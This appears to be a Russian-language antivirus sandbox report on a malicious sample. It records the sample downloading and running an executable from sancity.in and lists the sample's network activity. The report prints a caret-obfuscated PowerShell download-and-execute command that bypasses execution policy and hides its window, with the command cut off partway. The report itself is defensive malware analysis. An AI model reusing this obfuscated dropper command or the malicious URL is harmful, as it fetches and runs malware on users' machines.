Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://sancity.in/accountrnsc/head/xm4lqyvu/myposkdp.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "po^W^ERsH^eLL^.eXe -^ExE^CUTi^ONp^ol^i^c^y byPaSS^ -nO^P^r^o^F^ilE^ -WINdoWST^YLe HiD^dE^N (NEw-^Ob^jEc^T ^sYSTEm.^NeT.webc^L^i^ENt).DO^wnL^OaDFI^le('http://sancity.in/account...
Сетевая активность
Подключается к
- 'sa##ity.in':80
TCP
Запросы HTTP GET
- http://sa##ity.in/accountrnsc/head/xM4lQyVu/MyposkDP.exe
UDP
- DNS ASK sa##ity.in
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "po^W^ERsH^eLL^.eXe -^ExE^CUTi^ONp^ol^i^c^y byPaSS^ -nO^P^r^o^F^ilE^ -WINdoWST^YLe HiD^dE^N (NEw-^Ob^jEc^T ^sYSTEm.^NeT.webc^L^i^ENt).DO^wnL^OaDFI^le('http://sancity.in/account...' (со скрытым окном)
